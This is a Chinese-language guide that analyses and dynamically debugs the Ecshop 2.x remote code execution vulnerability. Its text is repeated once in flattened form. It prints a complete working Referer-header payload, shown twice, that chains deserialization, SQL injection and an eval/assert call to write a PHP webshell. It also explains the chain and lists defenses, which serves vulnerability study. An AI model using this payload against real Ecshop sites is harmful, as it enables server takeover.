Ecshop2.x代码执行漏洞动态调试分析
字数 1627 2025-08-18 11:37:33

Ecshop 2.x 代码执行漏洞分析与调试指南

一、漏洞背景

Ecshop 2.x 版本存在一个严重的远程代码执行漏洞,攻击者可以利用该漏洞直接远程写入webshell,获取服务器控制权限。该漏洞利用链构造精巧,需要对系统有深入了解才能实现。

二、环境搭建

1. 所需工具

  • PHPStudy(集成环境)
  • PHPStorm(IDE)
  • XDebug(PHP调试扩展)
  • Chrome浏览器 + JetBrains IDE Support插件
  • Burp Suite(用于抓包测试)

2. XDebug配置

修改php.ini文件,添加以下配置:

[XDebug]
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_dir = "C:\phpStudy\tmp\xdebug"
xdebug.trace_output_dir = "C:\phpStudy\tmp\xdebug"
xdebug.profiler_output_name = "cache.out.%t-%s"
xdebug.remote_enable = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
zend_extension = "C:\phpStudy\php53\ext\xdebug.dll"
xdebug.remote_port = 9000
xdebug.idekey = PHPSTROM

3. PHPStorm配置

  1. 设置PHP版本与本地环境一致
  2. 配置调试端口为9000
  3. 设置项目根目录
  4. 确保Chrome插件已安装并启用

三、漏洞分析

1. 漏洞触发点

漏洞起始于user.phpact=login操作,通过控制HTTP Referer头触发漏洞。

2. 攻击Payload分析

示例Payload:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:

Payload分解:

  1. 554fcae493e564ee0dc75bdf2ebf94ca - 哈希值,用于通过系统验证
  2. ads - 控制程序流程进入insert_ads函数
  3. 序列化数据部分 - 包含SQL注入和PHP代码执行payload

解码后的核心恶意代码:

{$asd'];assert(base64_decode('file_put_contents('1.php','<?php eval($_POST[1337]xxx

3. 漏洞利用流程

  1. 通过Referer头注入恶意payload
  2. 系统验证哈希值554fcae493e564ee0dc75bdf2ebf94ca
  3. 进入insert_ads函数处理流程
  4. 反序列化攻击payload
  5. 通过SQL注入将恶意代码写入数据库
  6. 最终通过eval执行写入webshell的操作

四、动态调试技巧

1. 调试快捷键

  • F7 - 进入函数
  • F8 - 步过(不进入函数)
  • Shift+F8 - 跳出当前函数
  • Ctrl+Alt+点击 - 快速进入函数定义
  • Alt+F7 - 查找函数/变量引用

2. 关键调试点

  1. user.phpact=login处设置断点
  2. 跟踪$back_act变量的赋值过程
  3. 观察insert_mod函数的动态调用过程
  4. 监控反序列化过程(unserialize
  5. 跟踪SQL语句拼接过程
  6. 观察eval函数的最终执行

3. 调试中修改变量

在调试过程中可以右键变量选择Set Value来修改值,模拟攻击流程:

ads|a:2:{s:3:\"num\";s:280:\"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -\";s:2:\"id\";s:3:

五、漏洞原理详解

  1. 哈希验证绕过:系统会检查特定的哈希值554fcae493e564ee0dc75bdf2ebf94ca,这是攻击链的第一个关键点。

  2. 函数流程控制:通过ads后缀控制程序进入insert_ads函数。

  3. 反序列化漏洞:攻击者控制的序列化数据被反序列化,注入恶意参数。

  4. SQL注入:通过精心构造的SQL语句将PHP代码写入数据库查询结果。

  5. 代码执行:最终通过eval函数执行从数据库获取的恶意代码,实现webshell写入。

关键代码处理流程:

  1. preg_replace处理掉{字符
  2. 通过fetch_str处理payload
  3. select函数中进入get_val
  4. substr去掉$符号
  5. make_var完成最终拼接
  6. eval执行恶意代码

最终执行的payload形式:

$this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'))

六、防护建议

  1. 升级到最新版本的Ecshop
  2. 对用户输入进行严格过滤,特别是Referer头
  3. 禁用危险的函数如evalassert
  4. 对反序列化操作进行严格限制
  5. 使用预处理语句防止SQL注入
  6. 对关键操作添加二次验证

七、总结

通过动态调试可以清晰理解:

  1. 攻击payload在每个环节的处理过程
  2. 系统如何从正常流程转向恶意代码执行
  3. 各个函数之间的调用关系和数据处理
  4. 最终漏洞触发的完整链条

这种分析方法不仅适用于此漏洞,也可以应用于其他复杂漏洞的分析过程,有助于提升漏洞挖掘和利用构造能力。

Ecshop 2.x 代码执行漏洞分析与调试指南 一、漏洞背景 Ecshop 2.x 版本存在一个严重的远程代码执行漏洞,攻击者可以利用该漏洞直接远程写入webshell,获取服务器控制权限。该漏洞利用链构造精巧,需要对系统有深入了解才能实现。 二、环境搭建 1. 所需工具 PHPStudy(集成环境) PHPStorm(IDE) XDebug(PHP调试扩展) Chrome浏览器 + JetBrains IDE Support插件 Burp Suite(用于抓包测试) 2. XDebug配置 修改php.ini文件,添加以下配置: 3. PHPStorm配置 设置PHP版本与本地环境一致 配置调试端口为9000 设置项目根目录 确保Chrome插件已安装并启用 三、漏洞分析 1. 漏洞触发点 漏洞起始于 user.php 的 act=login 操作,通过控制HTTP Referer头触发漏洞。 2. 攻击Payload分析 示例Payload: Payload分解: 554fcae493e564ee0dc75bdf2ebf94ca - 哈希值,用于通过系统验证 ads - 控制程序流程进入 insert_ads 函数 序列化数据部分 - 包含SQL注入和PHP代码执行payload 解码后的核心恶意代码: 3. 漏洞利用流程 通过Referer头注入恶意payload 系统验证哈希值 554fcae493e564ee0dc75bdf2ebf94ca 进入 insert_ads 函数处理流程 反序列化攻击payload 通过SQL注入将恶意代码写入数据库 最终通过 eval 执行写入webshell的操作 四、动态调试技巧 1. 调试快捷键 F7 - 进入函数 F8 - 步过(不进入函数) Shift+F8 - 跳出当前函数 Ctrl+Alt+点击 - 快速进入函数定义 Alt+F7 - 查找函数/变量引用 2. 关键调试点 在 user.php 的 act=login 处设置断点 跟踪 $back_act 变量的赋值过程 观察 insert_mod 函数的动态调用过程 监控反序列化过程( unserialize ) 跟踪SQL语句拼接过程 观察 eval 函数的最终执行 3. 调试中修改变量 在调试过程中可以右键变量选择 Set Value 来修改值,模拟攻击流程: 五、漏洞原理详解 哈希验证绕过 :系统会检查特定的哈希值 554fcae493e564ee0dc75bdf2ebf94ca ,这是攻击链的第一个关键点。 函数流程控制 :通过 ads 后缀控制程序进入 insert_ads 函数。 反序列化漏洞 :攻击者控制的序列化数据被反序列化,注入恶意参数。 SQL注入 :通过精心构造的SQL语句将PHP代码写入数据库查询结果。 代码执行 :最终通过 eval 函数执行从数据库获取的恶意代码,实现webshell写入。 关键代码处理流程: preg_replace 处理掉 { 字符 通过 fetch_str 处理payload 在 select 函数中进入 get_val substr 去掉 $ 符号 make_var 完成最终拼接 eval 执行恶意代码 最终执行的payload形式: 六、防护建议 升级到最新版本的Ecshop 对用户输入进行严格过滤,特别是Referer头 禁用危险的函数如 eval 、 assert 等 对反序列化操作进行严格限制 使用预处理语句防止SQL注入 对关键操作添加二次验证 七、总结 通过动态调试可以清晰理解: 攻击payload在每个环节的处理过程 系统如何从正常流程转向恶意代码执行 各个函数之间的调用关系和数据处理 最终漏洞触发的完整链条 这种分析方法不仅适用于此漏洞,也可以应用于其他复杂漏洞的分析过程,有助于提升漏洞挖掘和利用构造能力。